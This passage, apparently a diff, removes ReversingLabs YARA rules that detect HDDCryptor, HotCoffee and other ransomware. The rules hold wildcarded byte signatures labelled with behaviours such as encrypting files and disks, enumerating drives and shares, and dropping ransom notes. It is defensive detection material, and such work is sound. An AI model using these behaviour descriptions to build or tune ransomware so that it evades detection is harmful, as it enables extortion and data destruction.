?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 04 24 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? - ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 56 8B C8 C6 45 ?? ?? E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? - ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 85 - } - $find_files_p4 = { - 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B C8 C6 45 ?? ?? E8 ?? ?? ?? ?? 50 8D 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 85 ?? - ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 8B 45 - ?? 8D 4D ?? 51 3B 45 ?? 74 ?? 8B C8 E8 ?? ?? ?? ?? 83 45 ?? ?? EB ?? 50 8D 4D ?? E8 - ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B 9D ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53 FF 15 ?? - ?? ?? ?? 8B 7D ?? 8B 75 ?? 6A ?? 5B 3B F7 74 ?? 56 E8 ?? ?? ?? ?? 03 F3 59 3B F7 75 - ?? 8B 7D ?? 8B 75 ?? 85 F6 74 ?? 3B F7 74 ?? 8B CE E8 ?? ?? ?? ?? 03 F3 3B F7 75 ?? - 8B 75 ?? 8B 45 ?? 2B C6 99 F7 FB 6B C0 ?? 50 56 E8 ?? ?? ?? ?? 59 59 8D 4D ?? E8 ?? - ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 - } - $encrypt_files = { - 8B FF 55 8B EC 57 FF 75 ?? E8 ?? ?? ?? ?? 59 8B 4D ?? 8B F8 8B 49 ?? 90 F6 C1 ?? 75 - ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 8B 45 ?? 6A ?? 59 83 C0 ?? F0 09 08 83 C8 ?? E9 - ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 90 C1 E8 ?? A8 ?? 74 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? - ?? EB ?? 8B 45 ?? 8B 40 ?? 90 A8 ?? 74 ?? FF 75 ?? E8 ?? ?? ?? ?? 59 8B 4D ?? 83 61 - ?? ?? 84 C0 8B 45 ?? 74 ?? 8B 48 ?? 89 08 8B 45 ?? 6A ?? 59 83 C0 ?? F0 21 08 8B 45 - ?? 53 6A ?? 5B 83 C0 ?? F0 09 18 8B 45 ?? 6A ?? 59 83 C0 ?? F0 21 08 8B 45 ?? 83 60 - ?? ?? 8B 45 ?? 8B 40 ?? 90 A9 ?? ?? ?? ?? 75 ?? 56 8B 75 ?? 6A ?? E8 ?? ?? ?? ?? 59 - 3B F0 74 ?? 8B 75 ?? 53 E8 ?? ?? ?? ?? 59 3B F0 75 ?? 57 E8 ?? ?? ?? ?? 59 85 C0 75 - ?? FF 75 ?? E8 ?? ?? ?? ?? 59 5E FF 75 ?? 8B 5D ?? 53 E8 ?? ?? ?? ?? 59 59 84 C0 75 - ?? 8B 45 ?? 6A ?? 59 83 C0 ?? F0 09 08 83 C8 ?? EB ?? 0F B6 C3 5B 5F 5D C3 - } - - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $encrypt_files ) and ( all of ( $remote_connection_p* ) ) -} -rule REVERSINGLABS_Win32_Ransomware_Hddcryptor : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects HDDCryptor ransomware." - author = "ReversingLabs" - id = "2c6a8ca3-0f7a-52b7-af6d-74fa9407feca" - date = "2020-06-26" - modified = "2020-07-15" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.HDDCryptor.yara#L1-L157" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "47915f315bb4956507362f56024f5632cb1bcec569ceaf77fe9d7cb9c25d1d8a" - score = 75 - quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "HDDCryptor" - tc_detection_factor = 5 - importance = 25 - - strings: - $deploy_components = { - B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 66 83 BD ?? ?? ?? ?? ?? 6A ?? 53 0F 85 ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 6A ?? 68 ?? - ?? ?? ?? BA ?? ?? ?? ?? 8B CB 8B F0 E8 ?? ?? ?? ?? 8B F8 6A ?? 0F AF FE 68 ?? ?? ?? - ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 8B F0 6A ?? 0F AF F7 68 ?? ?? ?? ?? BA ?? ?? - ?? ?? 8B CB E8 ?? ?? ?? ?? 8B F8 6A ?? 0F AF FE 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB - E8 ?? ?? ?? ?? 8B F0 6A ?? 0F AF F7 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ?? - ?? 6A ?? 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? BA ?? - ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB 8B F0 E8 ?? - ?? ?? ?? 8B F8 6A ?? 0F AF FE 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 8B - F0 6A ?? 0F AF F7 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 8B F8 6A ?? 0F - AF FE 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 8B F0 6A ?? 0F AF F7 68 ?? - ?? ?? ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B F8 BA ?? ?? ?? - ?? 0F AF FE 8B CB E8 - } - $get_shares_info = { - E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? EB ?? FF 15 ?? ?? - ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 - ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF D6 8D 44 24 ?? 50 C7 44 24 ?? - ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? - FF 15 - } - $encrypt_discs = { - 68 ?? ?? ?? ?? FF 74 24 ?? 0F 57 C0 66 0F 7F 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? FF 15 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 33 C9 EB ?? 8D 49 ?? 0F B7 81 ?? ?? ?? ?? 66 89 84 0C ?? ?? ?? ?? 8D 49 ?? 66 - 85 C0 75 ?? 8D 8C 24 ?? ?? ?? ?? 83 C1 ?? 66 8B 41 ?? 8D 49 ?? 66 85 C0 75 ?? A1 ?? - ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 - ?? A1 ?? ?? ?? ?? 89 41 ?? 0F B7 05 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 66 89 41 - ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF - D7 B9 ?? ?? ?? ?? E8 - } - $create_diskcryptor_service = { - 83 EC ?? 53 55 56 57 68 ?? ?? ?? ?? 33 ED 8B F2 55 55 8B F9 FF 15 ?? ?? ?? ?? 85 C0 - 74 ?? 55 55 55 55 55 FF 74 24 ?? 55 6A ?? 5B 53 6A ?? 68 ?? ?? ?? ?? 56 57 50 FF 15 - ?? ?? ?? ?? 8B F0 89 5C 24 ?? B8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 33 - C9 89 44 24 ?? 41 8D 44 24 ?? 89 4C 24 ?? 89 44 24 ?? 8D 44 24 ?? 50 53 56 89 4C 24 - ?? C7 44 24 ?? ?? ?? ?? ?? 89 6C 24 ?? FF 15 ?? ?? ?? ?? 8B C6 5F 5E 5D 5B 83 C4 ?? - C3 - } - $extract_diskcryptor_from_resources = { - 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 55 56 8B B4 24 ?? ?? - ?? ?? 33 C0 57 50 89 54 24 ?? 8B E9 FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8B D8 56 - 0F B7 C9 51 53 FF 15 ?? ?? ?? ?? 8B F0 56 53 FF 15 ?? ?? ?? ?? 56 53 8B F8 FF 15 ?? - ?? ?? ?? 57 89 44 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? 8B F0 E8 ?? ?? ?? ?? 59 FF 74 - 24 ?? 8B D8 56 53 E8 ?? ?? ?? ?? 8B 54 24 ?? 33 FF 83 C4 ?? 8B CF 85 D2 7E ?? 8A 04 - 19 3C ?? 7C ?? 3C ?? 7F ?? 04 ?? 3C ?? 76 ?? 2C ?? 88 04 19 41 3B CA 7C ?? 33 C0 68 - ?? ?? ?? ?? 66 89 44 24 ?? 8D 44 24 ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F5 66 8B 45 - ?? 83 C5 ?? 66 3B C7 75 ?? 8D 7C 24 ?? 2B EE 83 EF ?? 33 C9 66 8B 47 ?? 83 C7 ?? 66 - 3B C1 75 ?? 8B CD C1 E9 ?? F3 A5 8B CD 83 E1 ?? F3 A4 8D 7C 24 ?? 83 EF ?? 33 ED 66 - 8B 47 ?? 8D 7F ?? 66 3B C5 75 ?? A1 ?? ?? ?? ?? 8B 54 24 ?? 8B F2 89 07 66 8B 02 83 - C2 ?? 66 3B C5 75 ?? 8D 7C 24 ?? 2B D6 83 EF ?? 66 8B 47 ?? 83 C7 ?? 66 3B C5 75 ?? - 8B CA 8D 44 24 ?? C1 E9 ?? F3 A5 55 55 6A ?? 55 55 8B CA 83 E1 ?? 68 ?? ?? ?? ?? F3 - A4 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 74 ?? 55 8D 44 24 ?? 50 FF 74 24 ?? 53 56 FF - 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 33 C0 40 EB ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 - C0 8B 8C 24 ?? ?? ?? ?? 5F 5E 5D 5B 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 - } - $encrypt_files_using_diskcryptor_p1 = { - 55 8B EC 83 E4 ?? 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? - ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 56 57 A1 ?? ?? ?? ?? 33 C4 50 8D 84 24 ?? ?? - ?? ?? 64 A3 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D3 83 7D ?? ?? 73 ?? B9 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? - ?? ?? ?? 8B 75 ?? BA ?? ?? ?? ?? 8B 4E ?? 8A 01 41 88 02 42 84 C0 75 ?? 8B 4E ?? BA - ?? ?? ?? ?? 8A 01 41 88 02 42 84 C0 75 ?? 6A ?? 59 BE ?? ?? ?? ?? C7 05 ?? ?? ?? ?? - ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? F3 A5 68 ?? ?? ?? ?? - 33 F6 8D 84 24 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 54 24 ?? 89 B4 24 ?? ?? ?? ?? - 8D 4C 24 ?? E8 ?? ?? ?? ?? 56 6A ?? 8D 4C 24 ?? C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 7C 24 ?? ?? 8D 44 24 ?? 56 0F 43 44 24 ?? 56 6A ?? 56 56 68 ?? ?? ?? ?? 50 FF - 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D3 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 33 DB C7 44 - } - $encrypt_files_using_diskcryptor_p2 = { - 24 ?? ?? ?? ?? ?? 50 89 5C 24 ?? 89 5C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? - ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 53 FF 15 ?? - ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B D0 59 59 85 D2 - 75 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 59 8B D0 8D BC 24 ?? ?? ?? ?? 83 EF ?? 66 - 8B 47 ?? 8D 7F ?? 66 3B C3 75 ?? A1 ?? ?? ?? ?? 83 C2 ?? 89 07 8B F2 66 8B 02 83 C2 - ?? 66 3B C3 75 ?? 8D BC 24 ?? ?? ?? ?? 2B D6 83 EF ?? 66 8B 47 ?? 83 C7 ?? 66 3B C3 - 75 ?? 8B CA 8D 84 24 ?? ?? ?? ?? C1 E9 ?? F3 A5 8B CA 83 E1 ?? F3 A4 51 50 83 EC ?? - 8B CC 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 C6 84 - 24 ?? ?? ?? ?? ?? 83 7E ?? ?? 72 ?? 8B 36 83 EC ?? 8B CC 68 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 78 ?? ?? 72 ?? 8B 00 8B D6 8B C8 - E8 ?? ?? ?? ?? 59 59 53 6A ?? 8D 4C 24 ?? 8B F0 E8 ?? ?? ?? ?? 53 6A ?? 8D 4C 24 ?? - C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 74 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8B F3 EB ?? FF 15 ?? ?? ?? ?? 8B F0 53 6A ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? - 8B C6 EB ?? 53 6A ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 33 C0 8B 8C 24 ?? ?? ?? ?? 64 89 0D - ?? ?? ?? ?? 59 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $reboot = { - 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 8D 45 ?? 50 6A ?? FF 15 ?? ?? ?? - ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 C0 EB ?? 8D 45 ?? 33 F6 50 68 ?? ?? ?? ?? 56 - FF 15 ?? ?? ?? ?? 56 56 56 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 56 FF 75 ?? C7 45 ?? ?? - ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 6A ?? FF 15 - ?? ?? ?? ?? F7 D8 1B C0 F7 D8 8B 4D ?? 33 CD 5E E8 ?? ?? ?? ?? 8B E5 5D C3 - } - - condition: - uint16( 0 ) == 0x5A4D and ( ( ( $deploy_components ) and ( $get_shares_info ) and ( $encrypt_discs ) ) or ( ( $extract_diskcryptor_from_resources ) and ( $create_diskcryptor_service ) and ( all of ( $encrypt_files_using_diskcryptor_p* ) ) and ( $reboot ) ) ) -} -rule REVERSINGLABS_Win64_Ransomware_Hotcoffee : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects HotCoffee ransomware." - author = "ReversingLabs" - id = "11b26b91-96ae-58d3-8a8a-02a3e7d0b82e" - date = "2021-11-25" - modified = "2021-11-25" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.HotCoffee.yara#L1-L111" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "15ae428c37fcc5a09d324fd9be5a8df3a812e6459cb1ce8eec56eabf785b4c05" - score = 75 - quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "HotCoffee" - tc_detection_factor = 5 - importance = 25 - - strings: - $find_files = { - 48 85 C9 74 ?? B8 ?? ?? ?? ?? 48 2B C1 48 85 C9 48 0F 44 C6 BA ?? ?? ?? ?? 48 2B D0 - 48 8D 8D ?? ?? ?? ?? 48 8D 0C 41 74 ?? 48 05 ?? ?? ?? ?? 48 03 C2 4C 8D 0D ?? ?? ?? - ?? 4C 2B C9 0F 1F 44 00 ?? 48 85 C0 74 ?? 45 0F B7 04 09 66 45 85 C0 74 ?? 66 44 89 - 01 48 83 C1 ?? 48 FF C8 48 83 EA ?? 75 ?? 48 8D 41 ?? 48 85 D2 48 0F 45 C1 66 89 30 - 48 8D 95 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 48 0F 43 95 ?? ?? ?? ?? 48 8D 44 24 ?? - 48 89 44 24 ?? 41 B8 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 4C 8B 44 24 ?? BA ?? - ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 44 24 ?? 48 8B 4C 24 ?? 48 3B - C8 74 ?? FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 66 39 30 74 ?? 48 83 - C0 ?? 48 83 E9 ?? 75 ?? 48 85 C9 74 ?? B8 ?? ?? ?? ?? 48 2B C1 48 85 C9 48 0F 44 C6 - BA ?? ?? ?? ?? 48 2B D0 48 8D 8D ?? ?? ?? ?? 48 8D 0C 41 74 ?? 48 05 ?? ?? ?? ?? 48 - 03 C2 4C 8D 0D ?? ?? ?? ?? 4C 2B C9 48 85 C0 74 ?? 45 0F B7 04 09 66 45 85 C0 74 ?? - 66 44 89 01 48 83 C1 ?? 48 FF C8 48 83 EA ?? 75 ?? 48 8D 41 ?? 48 85 D2 48 0F 45 C1 - 66 89 30 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4C 8B E0 48 89 - 44 24 ?? 48 83 F8 ?? 75 ?? 48 8B 95 ?? ?? ?? ?? 48 83 FA ?? 72 ?? 48 FF C2 48 8B 8D - ?? ?? ?? ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 - 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 - } - $encrypt_files_p1 = { - B9 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 90 66 83 38 ?? 74 ?? 48 83 C0 ?? 48 83 E9 ?? 75 - ?? 48 85 C9 74 ?? 41 B8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 4C 2B C1 BA ?? ?? ?? ?? 48 - 85 C9 4C 0F 44 C3 4A 8D 04 40 49 2B D0 74 ?? 49 8D 88 ?? ?? ?? ?? 48 03 CA 4C 8D 0D - ?? ?? ?? ?? 4C 2B C8 66 90 48 85 C9 74 ?? 45 0F B7 04 01 66 45 85 C0 74 ?? 66 44 89 - 00 48 FF C9 48 83 C0 ?? 48 83 EA ?? 75 ?? 48 85 D2 48 8D 48 ?? 48 0F 45 C8 66 89 19 - 48 89 5C 24 ?? 45 33 C9 C7 44 24 ?? ?? ?? ?? ?? 44 8B C7 8B D7 C7 44 24 ?? ?? ?? ?? - ?? 49 8B CC FF 15 ?? ?? ?? ?? 45 33 C9 48 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D - 8D ?? ?? ?? ?? 44 8B C7 C7 44 24 ?? ?? ?? ?? ?? 48 8B F0 41 8D 51 ?? FF 15 ?? ?? ?? - ?? 41 B9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 33 D2 48 8D 0D ?? - ?? ?? ?? 4C 8B F0 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? 41 B9 ?? - ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 33 D2 48 8D 0D ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 45 33 C9 48 89 44 24 ?? 45 - } - $encrypt_files_p2 = { - 33 C0 BA ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B - 15 ?? ?? ?? ?? 45 33 C9 48 8B 8D ?? ?? ?? ?? 44 8B C0 FF 15 ?? ?? ?? ?? 4C 8B 85 ?? - ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 44 8B CF BA ?? ?? ?? ?? 48 89 44 - 24 ?? FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 32 DB 41 BD ?? ?? ?? ?? 48 - 8B F8 66 66 66 0F 1F 84 00 ?? ?? 00 00 4C 8D 8D ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? - ?? 41 B8 ?? ?? ?? ?? 48 8B D7 48 8B CE FF 15 ?? ?? ?? ?? 81 BD ?? ?? ?? ?? ?? ?? ?? - ?? 48 8D 85 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 89 44 24 ?? - 0F B6 DB 41 0F 42 DD 48 89 7C 24 ?? 44 0F B6 C3 45 33 C9 33 D2 FF 15 ?? ?? ?? ?? 44 - 8B 85 ?? ?? ?? ?? 4C 8D 8D ?? ?? ?? ?? 48 8B D7 48 C7 44 24 ?? ?? ?? ?? ?? 49 8B CE - FF 15 ?? ?? ?? ?? 84 DB 0F 84 ?? ?? ?? ?? 4C 8B 6C 24 ?? 48 85 F6 74 ?? 48 8B CE FF - 15 ?? ?? ?? ?? 4D 85 F6 - } - $drop_ransom_note = { - 48 85 C9 74 ?? B8 ?? ?? ?? ?? 48 2B C1 48 85 C9 49 0F 44 C6 BA ?? ?? ?? ?? 48 2B D0 - 48 8D 8D ?? ?? ?? ?? 48 8D 0C 41 74 ?? 48 05 ?? ?? ?? ?? 48 03 C2 4C 8D 0D ?? ?? ?? - ?? 4C 2B C9 66 90 48 85 C0 74 ?? 46 0F B7 04 09 66 45 85 C0 74 ?? 66 44 89 01 48 83 - C1 ?? 48 FF C8 48 83 EA ?? 75 ?? 48 8D 41 ?? 48 85 D2 48 0F 45 C1 66 44 89 30 4C 89 - 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 45 33 C9 45 33 C0 BA ?? ?? - ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B D8 49 C7 C0 ?? ?? ?? ?? 49 FF C0 - 46 38 34 06 75 ?? 4C 89 74 24 ?? 4C 8D 8D ?? ?? ?? ?? 48 8B D6 48 8B CB FF 15 ?? ?? - ?? ?? 48 85 DB 74 ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CE E8 ?? ?? ?? ?? 90 48 8B 95 - ?? ?? ?? ?? 48 83 FA ?? 72 ?? 48 FF C2 48 8B 4D ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 - ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 33 F6 48 89 B5 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 40 88 75 ?? 48 - 8B 95 ?? ?? ?? ?? 48 83 FA ?? 0F 82 ?? ?? ?? ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 8D ?? - ?? ?? ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 48 83 C2 ?? 48 8B 49 ?? 48 - 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 86 ?? ?? ?? ?? FF 15 - } - $enum_drives = { - 48 89 5D ?? 48 C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? FF 15 ?? ?? ?? ?? 8B F8 0F A3 DF 0F - 83 ?? ?? ?? ?? 8D 4B ?? 48 C7 45 ?? ?? ?? ?? ?? 88 4D ?? 48 C7 45 ?? ?? ?? ?? ?? 66 - C7 45 ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 3B 05 ?? ?? ?? ?? 74 ?? 48 8D 55 ?? 48 8B C8 - E8 ?? ?? ?? ?? 48 83 05 ?? ?? ?? ?? ?? EB ?? 4C 8D 45 ?? 48 8B D0 48 8D 0D ?? ?? ?? - ?? E8 ?? ?? ?? ?? 90 48 8B 45 ?? 48 83 F8 ?? 72 ?? 48 8D 50 ?? 48 8B 4D ?? 48 8B C1 - 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? - 77 ?? E8 ?? ?? ?? ?? FF C3 83 FB ?? 0F 8C ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? - E8 ?? ?? ?? ?? 90 33 C0 48 8B 4D ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 5C 24 ?? 49 8B 5B - ?? 49 8B 7B ?? 49 8B E3 5D C3 FF 15 - } - - condition: - uint16( 0 ) == 0x5A4D and ( $enum_drives ) and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( $drop_ransom_note ) -} -rule REVERSINGLABS_Win32_Ransomware_Gandcrab : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects GandCrab ransomware." - author = "ReversingLabs" - id = 